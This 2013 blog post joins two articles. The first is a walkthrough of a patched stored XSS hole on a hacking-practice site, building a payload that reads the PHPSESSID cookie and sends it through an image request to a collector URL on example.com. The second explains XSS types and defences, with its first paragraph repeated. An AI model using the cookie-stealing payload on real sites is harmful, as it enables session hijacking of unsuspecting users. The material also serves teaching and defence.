Friday 19 July 2013

Simple Cross Site Scripting (XSS) Example

Introduction

This article will try to demonstrate and explain one of many ways XSS is used. The example is based on a previous vulnerability in the profile edit page at HackThis!! (this vulnerability has since been patched) but it is applicable to a lot of places all around the internet. The article will start off by shortly going through how to find a vulnerability that can be used for XSS, and then showing the steps necessary to exploit the vulnerability. The goal of our exploit will be to gain access to the site as another user by stealing his/her “PHPSESSID” cookie.

Finding a vulnerability

The first step when it comes to finding a vulnerability is to find a field, or a parameter, that is processed by the server and then printed somewhere on the page. A good example could be a search field, since sites usually includes the original search-query somewhere on the result page (no, Google is not vulnerable). However, search fields has the disadvantage of, in most cases, being non-persistent (see http://en.wikipedia.org/wiki/Cross-site_scripting#Types for differences between a persistent and a non-persistent XSS vector). A much better field would be a field that is saved, such as the fields on the profile edit page. In this example I decided to try and use the username field on the edit profile page.

up_23111cee2304750106428d23b70a60c7.jpg

Testing a vulnerability

The next step is to check whether the field is vulnerable or not. Depending on where on the page this field is later printed the process differs a bit. The field i choose, the username field on the profile edit page, had its input printed in the value property of the field field itself (see the image above). The first thing you want to do if your value is printed in a field property is to “break out” from the property assignment. In my case that would be by ending the opening quote.
Code:
Name entered: testing"testing

<label for="name">Real Name:</label><br/>
<input name="name" value="testing"testing" />

As you can see above, the quote entered into the field isn’t filtered and the text following the quote is no longer part of the value property of the username field. That means it’s time to insert some javascript.

Once you have found a field that can be modified to let you insert html into the page it’s time to take advantage of it. Let’s start with something easy, just to make sure it really works.
Code:
Name entered: "/><script>alert('xss');</script>

<label for="name">Real Name:</label><br/>
<input name="name" value=""/><script>alert('xss');</script>" />

If you’ve gotten this far without any filters stopping you, then you’re lucky. The field you have choose is vulnerable, and we can go ahead and start exploiting it.

Getting the cookie

As said earlier, we want to get the PHPSESSID cookie. So how would we do that? Luckily for us there is an easy way to get the current cookie(s) in javascript.
Code:
<script>alert(document.cookie);</script>

The document.cookie string looks something like this (without the line-breaks):
Code:
PHPSESSID=1234567890abcdef1234567890abcdef;
_utma=227779588.370893646.1344613812.1344699114.1344703344.10;
__utmc=227779588;
__utmz=227779588.1344613812.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

The string returned, as you can see, contains all the cookies for the current page. We only really care about the PHPSESSID, so let’s filter the cookie string a bit.
Code:
var cookieString = document.cookie;
var sessIDMatch = /PHPSESSID=(\w+)/.exec(cookieString);
var sessID = sessIDMatch[1];

This script is unnecessarily long however. Most fields (especially on a profile edit page) will have some kind of length-limit and you will usually have to optimize your script in order to not break this limit. So let’s shorten it down a bit. Often times this can be done using either Google’s Closure Compiler, http://closure-compiler.appspot.com (use the “simple” setting) or the javascript packer, http://dean.edwards.name/packer/ (shrink variables but don’t base 62 encode). In this case though it was better to do it manually, mostly because we are using regular expressions.
Code:
a=/D=(\w+)/.exec(document.cookie)[1];

Note how we are able to use only the big D from the PHPSESSID in our regular expression, as we know that no other cookie ends with a big D.

Stealing the cookie

Now that have found a way to extract the session cookie, we need some way to steal it. For this step you will need to set up your own saving script on another server that can collect the sent cookie. Depending on how “sneaky” you want to be there are a lot of different ways, the easiest being a straight forward redirect to your page, while a more hidden way would be using ajax to send the data in the background. For this example we will be using a third method, an image.
Code:
a=/D=(\w+)/.exec(document.cookie)[1];$('<img>').attr('src','http://example.com/xss.php?s='+a})

There is nothing fancy going on here, we simply created an <img> tag and set its src attribute to the url of our cookie collector script. We then include the session id in the query string. In this example I’ve used jQuery, as it is available on HackThis!!, but it’s also possible to create the img tag using, for example, the document.createElement approach. The jQuery method is considerably shorter however and, as already mentioned, shorter is in these circumstances often better.

Conclusion

With that our simple XSS attack is actually completed. If we had found a field that would expose our script to other member of the site and not only to ourself (as in my case) now all we would have had to do is sit back and wait for someone to stumble across our malicious page. In my case, though, there are a couple of additional steps required to make the exploit work. But that is for a later time.

Thanks for reading, and feel free to send me a PM or leave a comment if there is anything you are wondering about.

What is cross-site scripting?

Cross-site scripting, also known as "XSS", is a class of security exploit that has gotten a fair bit of attention in the last few years. Many users, and even Web developers, aren't entirely clear on what the term means, however. I'll explain cross-site scripting for you, so you will know where the dangers lie.
Cross-site scripting, also known as "XSS," is a class of security exploit that has gotten a fair bit of attention in the last few years. Many users, and even Web developers, aren't entirely clear on what the term means, however. I'll explain cross-site scripting for you, so you will know where the dangers lie.

Defining cross-site scripting

JavaScript is a powerful tool for developing rich Web applications. Without client-side execution of code embedded in HTML and XHTML pages, the dynamic nature of Web applications like Google Maps, Try Ruby! and Zoho Office would not be possible. Unfortunately, any time you add complexity to a system, you increase the potential for security issues -- and adding JavaScript to a Web page is no exception.
Among the problems introduced by JavaScript are:
  1. A malicious website might employ JavaScript to make changes to the local system, such as copying or deleting files.
  2. A malicious website might employ JavaScript to monitor activity on the local system, such as with keystroke logging.
  3. A malicious website might employ JavaScript to interact with other Websites the user has open in other browser windows or tabs.
The first and second problems in the above list can be mitigated by turning the browser into a sort of "sandbox" that limits the way JavaScript is allowed to behave so that it only works within the browser's little world. The third can be limited somewhat as well, but it is all too easy to get around that limitation because whether a particular webpage can interact with another webpage in a given manner may not be something that can be controlled by the software employed by the end user. Sometimes, the ability of one website's JavaScript to steal data meant for another Website can only be limited by the due diligence of the other website's developers.
The key to defining cross-site scripting is in the fact that vulnerabilities in a given website's use of dynamic Web design elements may give someone the opportunity to use JavaScript for security compromises. It's called "cross-site" because  it involves interactions between two separate websites to achieve its goals. In many cases, however, even though the exploit involves the use of JavaScript, the website that's vulnerable to cross-site scripting exploits does not have to employ JavaScript itself at all. Only in the case of local cross-site scripting exploits does the vulnerability have to exist in JavaScript sent to the browser by a legitimate website.

Types of cross-site scripting

There are currently three major categories of cross-site scripting. Others may be discovered in the future, however, so don't think this sort of misuse of Web page vulnerability is necessarily limited to these three types.
  • Reflected: Probably the most common type of cross-site scripting exploit is the reflected exploit. It targets vulnerabilities that occur in some websites when data submitted by the client is immediately processed by the server to generate results that are then sent back to the browser on the client system. An exploit is successful if it can send code to the server that is included in the Web page results sent back to the browser, and when those results are sent the code is not encoded using HTML special character encoding -- thus being interpreted by the browser rather than being displayed as inert visible text. The most common way to make use of this exploit probably involves a link using a malformed URL, such that a variable passed in a URL to be displayed on the page contains malicious code. Something as simple as another URL used by the server-side code to produce links on the page, or even a user's name to be included in the text page so that the user can be greeted by name, can become a vulnerability employed in a reflected cross-site scripting exploit.
  • Stored: Also known as HTML injection attacks, stored cross-site scripting exploits are those where some data sent to the server is stored (typically in a database) to be used in the creation of pages that will be served to other users later. This form of cross-site scripting exploit can affect any visitor to your website, if your site is subject to a stored cross-site scripting vulnerability. The classic example of this sort of vulnerability is content management software such as forums and bulletin boards where users are allowed to use raw HTML and XHTML to format their posts. As with preventing reflected exploits, the key to securing your site against stored exploits is ensuring that all submitted data is translated to display entities before display so that it will not be interpreted by the browser as code.
  • Local: A local cross-site scripting exploit targets vulnerabilities within the code of a webpage itself. These vulnerabilities are the result of incautious use of the Document Object Model in JavaScript so that opening another Web page with malicious JavaScript code in it at the same time might actually alter the code in the first page on the local system. In older versions of Internet Explorer (before IE 6 on MS Windows XP Service Pack 2), in fact, this could even be used on local Web pages (stored on the local computer rather than retrieved from the World Wide Web), and through those pages break out of the browser "sandbox" to affect the local system with the user privileges used to run the browser. Because most MS Windows users have tended to run everything as the Administrator account, this effectively meant that local cross-site scripting exploits on MS Windows before XP Service Pack 2 could do just about anything. In a local cross-site scripting exploit, unlike reflected and stored exploits, no malicious code is sent to the server at all. The behavior of the exploit takes place entirely on the local client system, but it alters the pages provided by the otherwise benign Website before they are interpreted by the browser so that they behave as though they carried the malicious payload to the client from the server. This means that server-side protections that filter out or block malicious cross-site scripting will not work with this sort of exploit. For more about local cross-site scripting, see the explanation at DOM Based Cross Site Scripting.

Protection Against Cross-Site Scripting

The most comprehensive way to protect your Web design from being exploited by cross-site scripting is to translate any and all special characters in user-provided input -- even in URLs -- into display entities, such as HTML entities. This applies not only to server-side code like PHP, Perl, and ASP.NET code, but also JavaScript that works with any user-provided input as well. This may interfere with the operation of Websites where users expect to be able to use HTML and XHTML in their input, such as for Website design helper applications -- in which case more complex code may be needed to protect against malicious code. Such fine-grained filtering is just one side of an arms race against malicious security crackers, however, and cannot reasonably be 100% effective.
Another way to protect your Website from cross-site scripting exploits is to never directly use any user-provided input in your pages. Accepting a limited number of values in user-provided input that are each used as "keys," for lack of a better term, to choose from among certain predefined options is an example of how user-provided input can be used to define output, but obviously greatly limits the dynamic nature of Web applications. If your website does not need greater dynamism than this provides, however, this may be your safest option for generating output based on user input.
Similarly, input validation that simply strips out all characters unauthorized for specific, limited input types (such as removing everything but dashes, parentheses, periods, and digits from input expected to contain telephone numbers), or that rejects input containing unauthorized characters entirely, can be used. This is a useful technique for many forms of input, but not all. Such validation techniques should be used whenever possible, because they not only provide some protection against cross-site scripting, but also against direct attempts to compromise the server itself through buffer overflows, SQL injection, and other attempts to exceed the bounds of the system.
Cookies are often used to provide some form of security against cross-site scripting. Many cross-site scripting exploits are designed to "steal" session cookies, but a cookie can be "tied" to a particular IP address so that hijacked cookies fail validation when employed by cross-site scripting exploits. There are potential work-arounds for this sort of security, such as when the legitimate user of a given cookie and a cross-site scripting exploit both originate from behind the same proxy server or NAT device, of course. Internet Explorer implements an HTTPOnly flag that prevents local scripts from affecting a cookie to try to guard against this sort of cookie abuse, but it is ineffective against cross-site request forgery attacks, where unintended requests may be sent via cross-site scripting exploits alongside a cookie used to authorize the requests at the server.
The single most effective means of avoiding cross-site scripting in Web development, however, is to design your website so that it does not require client-side code at all. That way, if your users want to turn off the JavaScript interpreters in their browsers, they can do so without losing the ability to make use of your Website. This does not protect against all forms of potential malicious input to your server, of course, and it does not actually limit the vulnerability of your website all by itself -- but it does give visitors to your website the option of protecting themselves.